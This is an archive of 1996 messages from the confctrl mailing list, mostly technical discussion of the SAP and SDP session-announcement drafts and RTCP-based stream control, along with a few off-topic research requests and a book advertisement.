From: "vivek (v.) kapil" <vkapil@nortel.ca>
Message-Id:  <"14137 Wed Aug  7 07:56:20 1996"@bnr.ca> 
To: confctrl@isi.edu
Subject:  Charts etc. from MMUSIC presentations 
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


I was wondering if the charts that were presented during
several staggered mmusic sessions are available now. In short-term,
I am interested in presentations by Intel's Vineet and
Phil on H.323 implementations. If some kind soul can
make these available at some ftp site, it would be
much appreciable.

Regards,

                     \\\//
                    -(@ @)-
------------------oOO--(_)--OOo----------------------
Vivek Kapil, Internet Business Solutions
Nortel Technology
  E-mail:	vkapil@nortel.ca (bus) 
					  			ak982@freenet.carleton.ca (res)          
------------------------------------------------------

From majordom@ISI.EDU  Thu Aug  8 11:04:19 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA04692>; Thu, 8 Aug 1996 18:04:31 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA04686>; Thu, 8 Aug 1996 18:04:30 -0700
Received: from std.sri.com by venera.isi.edu (5.65c/5.61+local-25)
	id <AA18026>; Thu, 8 Aug 1996 18:04:29 -0700
Received: from churchy.std.sri.com by std.sri.com (4.1/SMI-4.1)
	id AA20007; Thu, 8 Aug 96 18:04:20 PDT
Message-Id: <9608090104.AA20007@std.sri.com>
To: "vivek (v.) kapil" <vkapil@nortel.ca>
Cc: confctrl@isi.edu
Subject: Re: Charts etc. from MMUSIC presentations 
In-Reply-To: Your message of "Wed, 07 Aug 1996 07:56:00 EDT."
             <"14137 Wed Aug 7 07:56:20 1996"@bnr.ca> 
Date: Thu, 08 Aug 1996 18:04:19 -0700
From: Ruth Lang <rlang@std.sri.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


> I was wondering if the charts that were presented during
> several staggered mmusic sessions are available now. In short-term,
> I am interested in presentations by Intel's Vineet and
> Phil on H.323 implementations. If some kind soul can
> make these available at some ftp site, it would be
> much appreciable.

The MMUSIC slides are available from:

	ftp://ftp.isi.edu/confctrl/minutes/slides.6.96.{tar, tar.Z}

Ruth Lang

From majordom@ISI.EDU  Tue Aug 20 02:36:53 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA07560>; Tue, 20 Aug 1996 09:41:16 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA07554>; Tue, 20 Aug 1996 09:41:15 -0700
Received: from mailhost.nttlabs.com (ns.nttlabs.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA15503>; Tue, 20 Aug 1996 09:41:13 -0700
Received: from ornette.nttlabs.com by mailhost.nttlabs.com (8.7.5/3.5Wb2/(96/07/06))
	id JAA29046 for <confctrl@isi.edu>; Tue, 20 Aug 1996 09:41:12 -0700 (PDT)
Received: from coltrane.nttlabs.com (localhost.nttlabs.com [127.0.0.1]) by ornette.nttlabs.com (8.7.5/8.7.3) with ESMTP id QAA03451 for <confctrl@isi.edu>; Tue, 20 Aug 1996 16:36:54 GMT
Message-Id: <199608201636.QAA03451@ornette.nttlabs.com>
To: confctrl@isi.edu
Subject: Streams control
Date: Tue, 20 Aug 1996 09:36:53 -0700
From: Jeff Smith <sumisu@nttlabs.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I have made the notes and the initial email discussion after the BOF
available on the web.

http://alicia.nttlabs.com/people/sumisu/streams-bof/

I should also have our (NTT's) version of a proposal for the protocol
drafted by the end of the week.  For those who can't wait - we are
planning on using RTCP.

js

--
 Jeffrey D. Smith     $B!Z%8%'%U%j!<!&%9%_%9![(B
 Nippon Telegraph and Telephone Corporation   
 Software Laboratories Palo Alto	              
 250 Cambridge Ave., Suite 205			TEL  +1 415 833 3605
 Palo Alto, CA 94306				FAX  +1 415 326 1878
					 	ISDN +1 415 843 0667

 pgp-fingerprint: C1 EE A9 BD B1 E9 2E 9A  03 CF 6B E1 CF C4 D0 0D
 e-mail: sumisu@nttlabs.com


 Jeffrey D. Smith     $B!Z%8%'%U%j!<!&%9%_%9![(B
 Nippon Telegraph and Telephone Corporation   
 Software Laboratories Palo Alto	              
 250 Cambridge Ave., Suite 205			TEL  +1 415 833 3605
 Palo Alto, CA 94306				FAX  +1 415 326 1878
					 	ISDN +1 415 843 0667

 pgp-fingerprint: C1 EE A9 BD B1 E9 2E 9A  03 CF 6B E1 CF C4 D0 0D
 e-mail: sumisu@nttlabs.com

 Jeffrey D. Smith     $B!Z%8%'%U%j!<!&%9%_%9![(B
 Nippon Telegraph and Telephone Corporation   
 Software Laboratories Palo Alto	              
 250 Cambridge Ave., Suite 205			TEL  +1 415 833 3605
 Palo Alto, CA 94306				FAX  +1 415 326 1878
					 	ISDN +1 415 843 0667

 pgp-fingerprint: C1 EE A9 BD B1 E9 2E 9A  03 CF 6B E1 CF C4 D0 0D
 e-mail: sumisu@nttlabs.com

From majordom@ISI.EDU  Sun Aug 25 18:33:46 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA02884>; Sun, 25 Aug 1996 07:33:55 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA02878>; Sun, 25 Aug 1996 07:33:54 -0700
Received: from basil.cdt.luth.se by venera.isi.edu (5.65c/5.61+local-25)
	id <AA15609>; Sun, 25 Aug 1996 07:33:53 -0700
Received: from salt.cdt.luth.se (salt.cdt.luth.se [130.240.193.242]) by basil.cdt.luth.se (8.7.5/8.7.3) with ESMTP id QAA04842 for <confctrl@ISI.EDU>; Sun, 25 Aug 1996 16:33:14 +0200 (MET DST)
Received: from salt.cdt.luth.se (localhost [127.0.0.1]) by salt.cdt.luth.se (8.6.12/8.6.12) with ESMTP id QAA22148 for <confctrl@ISI.EDU>; Sun, 25 Aug 1996 16:33:47 +0200
Message-Id: <199608251433.QAA22148@salt.cdt.luth.se>
X-Mailer: exmh version 1.6.7 5/3/96
To: confctrl@ISI.EDU
X-Uri: http://www.cdt.luth.se/~peppar/
Subject: SAP/SDP-draft questions and comments
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Sun, 25 Aug 1996 16:33:46 +0200
From: Peter Parnes <peppar@cdt.luth.se>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Hi

* Explicit timeout question
According to draft-ietf-mmusic-sap-00 - draft 0.2:

page2)
Implicit Timeout should be done if we don't hear a announcement for more that 
10 times the announcement period or a minimum of 30 minutes. 

page7)
This page shows how to calculate the "base announcement interval" as interval 
= (8*no_of_ads*ad_size)/limit. It also says "It is also important to keep 
monitering other announcements and adjust the base interval accordingly."

My question is now: What is the _correct_ way to calculate the announcement 
period (for time-outs) for a client that is only listening? 
Should the client use some medium value of all sessions-announcements as the 
ad_size-value? 

* Missing type-letters 
draft-ietf-mmusic-sdp-02

The table on page 6 and Appendix A doesn't contain the types 'r' and 'z' that 
are mentioned on page 10 and 11.

/P



From majordom@ISI.EDU  Sun Aug 25 18:04:22 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA04155>; Sun, 25 Aug 1996 09:04:34 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA04149>; Sun, 25 Aug 1996 09:04:33 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-23)
	id <AA14928>; Sun, 25 Aug 1996 09:04:32 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.10022-0@bells.cs.ucl.ac.uk>; Sun, 25 Aug 1996 17:04:23 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
X-Organisation: University College London, CS Dept.
X-Phone: +44 171 419 3666
To: Peter Parnes <peppar@cdt.luth.se>
Cc: confctrl@ISI.EDU
Subject: Re: SAP/SDP-draft questions and comments
In-Reply-To: Your message of "Sun, 25 Aug 96 16:33:46 +0100." <199608251433.QAA22148@salt.cdt.luth.se>
Date: Sun, 25 Aug 96 17:04:22 +0100
Message-Id: <1644.840989062@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>* Explicit timeout question
>According to draft-ietf-mmusic-sap-00 - draft 0.2:
>
>page2)
>Implicit Timeout should be done if we don't hear a announcement for more that 
>10 times the announcement period or a minimum of 30 minutes. 
>
>page7)
>This page shows how to calculate the "base announcement interval" as interval 
>= (8*no_of_ads*ad_size)/limit. It also says "It is also important to keep 
>monitering other announcements and adjust the base interval accordingly."
>
>My question is now: What is the _correct_ way to calculate the announcement 
>period (for time-outs) for a client that is only listening? 
>Should the client use some medium value of all sessions-announcements as the 
>ad_size-value? 

What I had in mind was that the client knows the size of the ad it's
thinking of timing out (it must have heard it to be able to time it
out), so it uses that value.

Perhaps I should make this more clear.

>* Missing type-letters 
>draft-ietf-mmusic-sdp-02
>
>The table on page 6 and Appendix A doesn't contain the types 'r' and 'z' that 
>are mentioned on page 10 and 11.

Thanks, I'll correct it.

Mark

From majordom@ISI.EDU  Sun Aug 25 20:16:36 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA04276>; Sun, 25 Aug 1996 09:16:46 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA04270>; Sun, 25 Aug 1996 09:16:45 -0700
Received: from basil.cdt.luth.se by venera.isi.edu (5.65c/5.61+local-25)
	id <AA22189>; Sun, 25 Aug 1996 09:16:44 -0700
Received: from salt.cdt.luth.se (salt.cdt.luth.se [130.240.193.242]) by basil.cdt.luth.se (8.7.5/8.7.3) with ESMTP id SAA05384; Sun, 25 Aug 1996 18:16:04 +0200 (MET DST)
Received: from salt.cdt.luth.se (localhost [127.0.0.1]) by salt.cdt.luth.se (8.6.12/8.6.12) with ESMTP id SAA23370; Sun, 25 Aug 1996 18:16:37 +0200
Message-Id: <199608251616.SAA23370@salt.cdt.luth.se>
X-Mailer: exmh version 1.6.7 5/3/96
To: Mark Handley <M.Handley@cs.ucl.ac.uk>
Cc: confctrl@ISI.EDU
Subject: Re: SAP/SDP-draft questions and comments 
In-Reply-To: Your message of "Sun, 25 Aug 1996 17:04:22 BST."
             <1644.840989062@cs.ucl.ac.uk> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Sun, 25 Aug 1996 18:16:36 +0200
From: Peter Parnes <peppar@cdt.luth.se>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

M.Handley@cs.ucl.ac.uk said:
> What I had in mind was that the client knows the size of the ad it's 
> thinking of timing out (it must have heard it to be able to time it 
> out), so it uses that value. 

Ahh, yes of course (stupid me :-) but which bandwidth-limit should be used if 
you receive the ad on the non-scoped sap.mcast.net? I don't know which ttl the 
ad has been sent with, right? 

/P



From majordom@ISI.EDU  Sun Aug 25 18:23:51 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA04404>; Sun, 25 Aug 1996 09:24:19 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA04398>; Sun, 25 Aug 1996 09:24:18 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-23)
	id <AA14973>; Sun, 25 Aug 1996 09:24:17 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.10275-0@bells.cs.ucl.ac.uk>; Sun, 25 Aug 1996 17:23:52 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
X-Organisation: University College London, CS Dept.
X-Phone: +44 171 419 3666
To: Peter Parnes <peppar@cdt.luth.se>
Cc: confctrl@ISI.EDU
Subject: Re: SAP/SDP-draft questions and comments
In-Reply-To: Your message of "Sun, 25 Aug 96 18:16:36 +0100." <199608251616.SAA23370@salt.cdt.luth.se>
Date: Sun, 25 Aug 96 17:23:51 +0100
Message-Id: <1833.840990231@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>M.Handley@cs.ucl.ac.uk said:
>> What I had in mind was that the client knows the size of the ad it's 
>> thinking of timing out (it must have heard it to be able to time it 
>> out), so it uses that value. 
>
>Ahh, yes of course (stupid me :-) but which bandwidth-limit should be used if 
>you receive the ad on the non-scoped sap.mcast.net? I don't know which ttl the
>ad has been sent with, right? 

If it's not encrypted, simply take the smallest ttl from the session
description - if the sender was playing by the rules, it shouldn't be
telling you about anything you can't receive.

If it's encrypted, you can't tell.  I guess you must assume the
largest possible ttl, but as you won't be displaying it unless you got
the appropriate key, it matters little anyway.

Mark

From majordom@ISI.EDU  Wed Sep 11 05:13:07 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA01607>; Wed, 11 Sep 1996 06:13:21 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA01599>; Wed, 11 Sep 1996 06:13:18 -0700
Received: from pointer.cisco.com by venera.isi.edu (5.65c/5.61+local-25)
	id <AA16648>; Wed, 11 Sep 1996 06:13:16 -0700
Received: from oranlt.cisco.com (oran-toshiba.cisco.com [171.69.210.2]) by pointer.cisco.com (8.6.12/8.6.5) with SMTP id GAA00373; Wed, 11 Sep 1996 06:13:06 -0700
Message-Id: <3.0b16.32.19960911091300.006cbc00@pointer.cisco.com>
X-Sender: oran@pointer.cisco.com
X-Mailer: Windows Eudora Pro Version 3.0b16 (32)
Date: Wed, 11 Sep 1996 09:13:07 -0400
To: confctrl@ISI.EDU, Jeff Smith <sumisu@nttlabs.com>
From: David Oran <oran@cisco.com>
Subject: Seems this might play nicely with your stream control stuff
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I can imagine a neat way that you could command the record/replay server to
send recorded audio as an Email message, or have a PSTN gateway work with
the stream control stuff to work as a voicemail server.

Any thoughts?

Dave.

>To: IETF-Announce:;
>Sender: ietf-announce-request@ietf.org
>From: Internet-Drafts@ietf.org
>Reply-to: Internet-Drafts@ietf.org
>Subject: I-D ACTION:draft-ema-vpim-01.txt
>Date: Tue, 10 Sep 1996 09:38:02 -0400
>X-Orig-Sender: cclark@ietf.org
>
> A Revised Internet-Draft is available from the on-line Internet-Drafts 
> directories.                                                              
>
>       Title     : Voice Profile for Internet Mail - version 2             
>       Author(s) : G. Vaudreuil, G. Parsons
>       Filename  : draft-ema-vpim-01.txt
>       Pages     : 43
>       Date      : 09/09/1996
>
>A class of special-purpose computers has evolved to provide voice messaging
>services.  These machines generally interface to a telephone switch and 
>provide call answering and voice messaging services. Traditionally, 
>messages sent to a non-local machine are transported using analog 
>networking protocols based on DTMF signaling and analog voice playback.  As
>the demand for networking increases, there is a need for a standard 
>high-quality digital protocol to connect these machines.  The following 
>document is a profile of the Internet standard MIME and ESMTP protocols for
>use as a digital voice messaging networking protocol.        
>
>This profile is based on an earlier effort in the Audio Message Interchange 
>Specification (AMIS) group to define a voice messaging protocol based on 
>X.400 technology.  This protocol is intended to satisfy the user 
>requirements statement from that earlier work with the industry standard 
>ESMTP/MIME mail protocol infrastructures already used within corporate 
>intranets.  This Internet Draft will be referred to as VPIM (Voice Profile 
>for Internet Mail) in this document.  This second version of VPIM is based 
>on implementation experience and obsoletes RFC 1911 which describes 
>version 1 of the profile.                      
>
>Internet-Drafts are available by anonymous FTP.  Login with the username
>"anonymous" and a password of your e-mail address.  After logging in,
>type "cd internet-drafts" and then
>     "get draft-ema-vpim-01.txt".
>A URL for the Internet-Draft is:
>ftp://ds.internic.net/internet-drafts/draft-ema-vpim-01.txt
> 
>Internet-Drafts directories are located at:	
>	                                                
>     o  Africa                                   
>        Address:  ftp.is.co.za (196.4.160.8)	
>	                                                
>     o  Europe                                   
>        Address:  nic.nordu.net (192.36.148.17)	
>        Address:  ftp.nis.garr.it (193.205.245.10)
>	                                                
>     o  Pacific Rim                              
>        Address:  munnari.oz.au (128.250.1.21)	
>	                                                
>     o  US East Coast                            
>        Address:  ds.internic.net (198.49.45.10)	
>	                                                
>     o  US West Coast                            
>        Address:  ftp.isi.edu (128.9.0.32)  	
>	                                                
>Internet-Drafts are also available by mail.	
>	                                                
>Send a message to:  mailserv@ds.internic.net. In the body type: 
>     "FILE /internet-drafts/draft-ema-vpim-01.txt".
>							
>NOTE: The mail server at ds.internic.net can return the document in
>      MIME-encoded form by using the "mpack" utility.  To use this
>      feature, insert the command "ENCODING mime" before the "FILE"
>      command.  To decode the response(s), you will need "munpack" or
>      a MIME-compliant mail reader.  Different MIME-compliant mail readers
>      exhibit different behavior, especially when dealing with
>      "multipart" MIME messages (i.e., documents which have been split
>      up into multiple messages), so check your local documentation on
>      how to manipulate these messages.
>							
>For questions, please mail to Internet-Drafts@ietf.org
>							
>
>Below is the data which will enable a MIME compliant mail reader 
>implementation to automatically retrieve the ASCII version
>of the Internet-Draft.
>Content-Type: text/plain
>Content-ID: <19960909135237.I-D@ietf.org>
>
>ENCODING mime
>FILE /internet-drafts/draft-ema-vpim-01.txt
>Content-Type: text/plain
>Content-ID: <19960909135237.I-D@ietf.org>
>
-----------------
David R. Oran
Cisco Systems
7 Ladyslipper Lane
Acton, MA 01720
Phone: 508-264-2048 or 508-263-2705
EMail: oran@cisco.com


From majordom@ISI.EDU  Wed Sep 11 07:43:02 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA03659>; Wed, 11 Sep 1996 07:43:02 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA03653>; Wed, 11 Sep 1996 07:43:00 -0700
Received: from vnet.ibm.com by venera.isi.edu (5.65c/5.61+local-25)
	id <AA19872>; Wed, 11 Sep 1996 07:42:57 -0700
Message-Id: <199609111442.AA19872@venera.isi.edu>
Received: from HAIFASC3 by VNET.IBM.COM (IBM VM SMTP V2R3) with BSMTP id 1873;
   Wed, 11 Sep 96 10:42:55 EDT
Date: Wed, 11 Sep 96 16:49:35 IST
From: "Scott Petrack" <petrack@VNET.IBM.COM>
To: confctrl@isi.edu
Cc: sumisu@nttlabs.com, oran@cisco.com
Subject: Re: Seems this might play nicely with your stream control stuff
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

David Oran wrote:
> I can imagine a neat way that you could command the record/replay server
> to send recorded audio as an Email message, or have a PSTN gateway
> work with the stream control stuff to work as a voicemail server.

> Any thoughts?


I consider the sorts of scenarios that you mention as requirements, and
definitely had them in mind when I suggested using RTCP for controlling
IP-telephone streams. ( For example, RTCP has an email SDES item, and I
mentioned that this could be used to indicate where to send the stream
as an email message. My point then was that RTCP has lots of packets
already defined, and we "only" have to write out profiles to define
their semantics in certain situations. Unfortunately, I think that I
confused people by trying to use RTCP packets in a new way, and one of Jeff's
new suggestions, to use APP packets, will remove this confusion.)

Of course, the semantics of the commands still need to be defined, and
I hope that it will be done in such a way that the RTCP packet which
tells a video recorder
to "pause" and tells a remote telephone to "hold" will be the same.

I am these days trying to use Jeff's SIP/RTCP ideas to do precisely the
kinds of things you are talking about (as well as some other useful basic
telephone functions).

I think that there is one real difference between what Jeff is doing
and the scenarios you mention.
Jeff is creating commands to control a machine
whose input or output is always a set of RTP streams. These scenarios
are slightly more general. The input or output might be something other
than RTP streams, even though an RTP stream is definitely being "controlled"
in the process. I agree with your implication that it's appropriate to
use RTCP/SIP for these things, but not everyone may agree.

Scott


From majordom@ISI.EDU  Wed Sep 25 11:23:20 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA06007>; Wed, 25 Sep 1996 18:24:21 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA06000>; Wed, 25 Sep 1996 18:24:20 -0700
Received: from sgi.sgi.com (SGI.COM) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA11475>; Wed, 25 Sep 1996 18:24:18 -0700
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by sgi.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id SAA21892 for <@sgi.engr.sgi.com:confctrl@isi.edu>; Wed, 25 Sep 1996 18:24:17 -0700
Received: from rozinante.engr.sgi.com (rozinante.engr.sgi.com [150.166.61.16]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id SAA06253 for <@cthulhu.engr.sgi.com:confctrl@isi.edu>; Wed, 25 Sep 1996 18:23:36 -0700
Received: by rozinante.engr.sgi.com (950413.SGI.8.6.12/940406.SGI.AUTO)
	 id SAA29160; Wed, 25 Sep 1996 18:23:20 -0700
Date: Wed, 25 Sep 1996 18:23:20 -0700 (PDT)
From: Scott Hotes <shotes@rozinante.engr.sgi.com>
To: confctrl@isi.edu
Subject: SDP
Message-Id: <Pine.SGI.3.91.960925181551.29141A-100000@rozinante.engr.sgi.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


I am writing a session directory tool for Silicon Graphics.  I would
greatly appreciate any help you could give me with the following questions:

-	The first 8 bytes of received version 2 packets appear to be:
	
	0 0 0 0 x x x x

	where 0 is actually 0, and the x's appear to be random.  Are the
	four 0's required, and what is the significance of the second
	four bytes?

-	How often should announcements be sent?

-	Is their a source of information for the ever growing list of
	attribute fields and format types?

-	Relating to the last question, is there a newsgroup or mailing
	list to which I could subscribe?

Thank you for any assistance you can give me.

Scott Hotes

From majordom@ISI.EDU  Thu Sep 26 11:35:22 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19512>; Thu, 26 Sep 1996 02:36:26 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19506>; Thu, 26 Sep 1996 02:36:24 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-23)
	id <AA23668>; Thu, 26 Sep 1996 02:36:23 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.08272-0@bells.cs.ucl.ac.uk>; Thu, 26 Sep 1996 10:35:33 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
X-Organisation: University College London, CS Dept.
X-Phone: +44 171 419 3666
To: Scott Hotes <shotes@rozinante.engr.sgi.com>
Cc: confctrl@ISI.EDU
Subject: Re: SDP
In-Reply-To: Your message of "Wed, 25 Sep 1996 18:23:20 PDT." <Pine.SGI.3.91.960925181551.29141A-100000@rozinante.engr.sgi.com>
Date: Thu, 26 Sep 1996 10:35:22 +0100
Message-Id: <4383.843730522@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>
>I am writing a session directory tool for Silicon Graphics.  I would
>greatly appreciate any help you could give me with the following questions:
>
>-	The first 8 bytes of received version 2 packets appear to be:
>	
>	0 0 0 0 x x x x
>
>	where 0 is actually 0, and the x's appear to be random.  Are the
>	four 0's required, and what is the significance of the second
>	four bytes?
>
>-	How often should announcements be sent?
>
>-	Is their a source of information for the ever growing list of
>	attribute fields and format types?
>
>-	Relating to the last question, is there a newsgroup or mailing
>	list to which I could subscribe?

Confctrl is the correct mailing list.  There's not enough traffic on
this to warrant a separate list at the moment.

The most recent drafts for SDP and SAP are those in
ftp://ftp.isi.edu/confctrl/docs/

The header used by sdr right now is not yet what's in the SAP draft,
but it will give you the general idea.  I hope to send revised drafts
of these sometime soon - any comments or suggestions are of course
welcome.

Mark

From majordom@ISI.EDU  Mon Sep 30 04:09:11 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27460>; Mon, 30 Sep 1996 05:09:52 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27448>; Mon, 30 Sep 1996 05:09:46 -0700
Received: from arl-img-6.compuserve.com by venera.isi.edu (5.65c/5.61+local-25)
	id <AA26907>; Mon, 30 Sep 1996 05:09:45 -0700
Received: by arl-img-6.compuserve.com (8.6.10/5.950515)
	id IAA02582; Mon, 30 Sep 1996 08:09:29 -0400
Date: Mon, 30 Sep 1996 08:09:11 -0400
From: sancha dunstan <106124.1051@compuserve.com>
Subject: Copy of: Copy of: mailing list
To: unknown <mbone-eu@sics.se>
Cc: unknown <mbone-eu@isi.edu>, unknown <jips-mbone-ops@sun.mhs.relay.ac.uk>,
        unknown <confctrl@isi.edu>, unknown <rem-conf@es.net>
Message-Id: <199609300809_MC1-9E6-52C1@compuserve.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

PO`!1aR
most grateful if, when you are compiling case studies for us, you would make reference to the following topics. If, however, the case studies have already been compiled, we will analyse them here to extract the information that is required for our publication. 

1. Brief summary of the old situation.

2. Brief summary of the new solution.

3. Benefits of the new solution a) technical and b) financial

4. Issues in migration to the new solution

5. Network management

I would also like to take this opportunity to thank you in advance for your co-operation and provision of the studies.


Sancha Dunstan


From majordom@ISI.EDU  Mon Sep 30 04:09:11 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27469>; Mon, 30 Sep 1996 05:09:57 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27463>; Mon, 30 Sep 1996 05:09:56 -0700
Received: from arl-img-5.compuserve.com by venera.isi.edu (5.65c/5.61+local-25)
	id <AA26911>; Mon, 30 Sep 1996 05:09:52 -0700
Received: by arl-img-5.compuserve.com (8.6.10/5.950515)
	id IAA05567; Mon, 30 Sep 1996 08:09:35 -0400
Date: Mon, 30 Sep 1996 08:09:11 -0400
From: sancha dunstan <106124.1051@compuserve.com>
Subject: Copy of: Copy of: mailing list
To: unknown <mbone-eu@sics.se>
Cc: unknown <mbone-eu@isi.edu>, unknown <jips-mbone-ops@sun.mhs.relay.ac.uk>,
        unknown <confctrl@isi.edu>, unknown <rem-conf@es.net>
Message-Id: <199609300809_MC1-9E6-52C1@compuserve.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


---------- Forwarded Message ----------

From:   sancha dunstan, 106124,1051
TO:     unknown, INTERNET:mbone-uk-request@cs.ucl.ac.uk
DATE:   9/30/96 11:13 AM

RE:     Copy of: Copy of: mailing list


---------- Forwarded Message ----------

From:   sancha dunstan, 106124,1051
TO:     Hans Erikson, INTERNET:mbone-eu-request@sics.se
DATE:   9/27/96 12:35 PM

RE:     Copy of: mailing list

Dear Hans
I am a telecommunications researcher based in the UK and would very much
like to be on your mailing list. Although we have many projects on the go,
I am currently concentrating on one concerned with practical strategies for
deploying ATM. I am in the process of collecting case studies on ATM - do
you have any that I could have? Is there anyone else who has any ATM case
studies and would like to be featured in our publication? It is from a
global perspective so any country would be of interest. If you can fax me
some, my fax no. is (UK) 01727 868848.
I am also particularly interested in Telemedicine and would be grateful if
you know of anyone I could contact about information on this.

NB Please see attached.

I look forward to hearing from you.
Regards
Sancha Dunstan
Research Analyst
BNIS (Broadband Networking Information Services)

From majordom@ISI.EDU  Mon Sep 30 12:06:09 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA00182>; Mon, 30 Sep 1996 19:07:27 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA00175>; Mon, 30 Sep 1996 19:07:25 -0700
Received: from dfw-ix10.ix.netcom.com by venera.isi.edu (5.65c/5.61+local-25)
	id <AA23425>; Mon, 30 Sep 1996 19:07:24 -0700
Received: from  (gvsi@sjx-ca18-01.ix.netcom.com [199.35.223.161]) by dfw-ix10.ix.netcom.com (8.6.13/8.6.12) with SMTP id TAA15930; Mon, 30 Sep 1996 19:06:09 -0700
Date: Mon, 30 Sep 1996 19:06:09 -0700
Message-Id: <199610010206.TAA15930@dfw-ix10.ix.netcom.com>
From: gvsi@ix.netcom.com (Megan Kirst)
Subject: Re: Book-Personal Videoconferencing
To: comp.dcom.videoconf@ix.netcom.com
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

This book is currently avalible from Global Videoconferencing 
Solutions. It can be ordered via the internet from their web site at 
http://www.globalvideoconf.com or by calling 1-800-909-4874. 

It will also be avalible at the Telecon XVI Conference at booth 1552

Megan


erosen@impactvid.com wrote: 
>
>        My book Personal Videoconferencing (Manning/Prentice Hall) 
is
>hot off the presses. Thanks to all of you who have been sending e-mail
>and asking about it. I have collaborated with over a hundred users of
>desktop and laptop videoconferencing in putting the book together--it
>was really a massive collaborative effort.  
>	The book describes how more than seventy companies use the
>technology to achieve results.  It also covers technologies and how
>they fit together, including ADSL, HDSL, ISDN, ATM and LAN options. 
>There are also chapters on home videoconferencing and an insiders
>history of personal videoconferencing.  The book also includes about 
50
>photos and illustrations. You can see the table of contents and a
>chapter of the book at the Manning Publications site at
>http://www.browsebooks.com where you can even order it if you like. 
>Bookstores should begin to have it on the shelves next week.  If you
>dont find it, ask for it (the best thing is to give them the ISBN:
>0-13-268327-X).  
>	If you have suggestions of any kind, Ill be glad to receive
>them.  Send me e-mail at erosen@impactvid.com
>
>Evan Rosen
>


From majordom@ISI.EDU  Mon Sep 30 12:25:44 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA00613>; Mon, 30 Sep 1996 19:25:49 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA00607>; Mon, 30 Sep 1996 19:25:48 -0700
Received: from dfw-ix9.ix.netcom.com by venera.isi.edu (5.65c/5.61+local-25)
	id <AA23931>; Mon, 30 Sep 1996 19:25:47 -0700
Received: from  (gvsi@sjx-ca18-01.ix.netcom.com [199.35.223.161]) by dfw-ix9.ix.netcom.com (8.6.13/8.6.12) with SMTP id TAA14976 for <confctrl@isi.edu>; Mon, 30 Sep 1996 19:25:44 -0700
Date: Mon, 30 Sep 1996 19:25:44 -0700
Message-Id: <199610010225.TAA14976@dfw-ix9.ix.netcom.com>
From: gvsi@ix.netcom.com (Megan Kirst)
